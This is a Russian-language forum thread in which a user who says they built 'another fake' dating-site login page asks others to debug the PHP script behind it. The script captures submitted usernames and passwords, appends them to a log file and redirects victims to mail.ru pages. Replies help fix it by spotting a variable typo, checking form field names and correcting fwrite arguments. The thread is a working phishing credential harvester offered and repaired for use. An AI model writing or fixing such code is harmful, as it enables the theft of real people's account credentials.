![]() |
что же здесь не так то???
сделал очередной фэйк на знакомства, после ввода логина и пароля перекидывает человека куда нужно, к базе обращается и даже пишет в ней, но только двоеточие : , а не данные юзера
не глянете скрипт который за это отвечает, вроде всё проверил.....где ошибка? <?PHP $Login = $_POST['Login'];//????? $Pass = $_POST['Password'];//?????? $fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû fwrite($fp,"$Login:$Passw\n"); // Çàïèñûâàåì ëîãèí:ïàðîëü fclose($fp); // Çàêðûâàåì ôàéë header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html ?> |
fwrite($fp,"$Login:$Passw\n");
я думаю надо так fwrite($fp,$Login.":".$Passw); пробуй |
Ferment Опечатка в коде, в одном месте $Pass в другом $Passw И еще одно - текст формы в студию, возможно поля называются не Login Password
|
сделал как написал diznt но результат не изменился. так и присылает на базу двоеточие и всё......
<?PHP $Login = $_POST['Login'];//????? $Pass = $_POST['Password'];//?????? $fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü fclose($fp); // Çàêðûâàåì ôàéë header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????! ?> |
Цитата:
|
ТС просто не понимает, что он даже не весь код выложил
|
как уже говорили проверь в форме названия инпутов "Login", "Password".
Возможно данные с формы передаються методом get. Вообщем, попробуй $_REQUEST['Login'] вместо $_POST['Login'] |
Я может и ламос, но вопрос такой: а не стоит ли переменные запятыми отделять??
fwrite($fp,$Login,":",$Passw); |
если би хоть кто-то запустил, он би увидел ошибку
Цитата:
Код:
<?phpp.s.: даже при запуске пишет что ошибка на 9 строчке. так зачем ти ищеш ошибку во второй ?! |
4adr0s,
int fwrite ( resource $handle, string $string [, int $length] ) $handle - хендл файла $string - строка которую хочешь записать $length - длина строки (этот параметр не объязателен) т.е. максимум 3 параметра а у тебя параметров 4 |
| Время: 15:45 |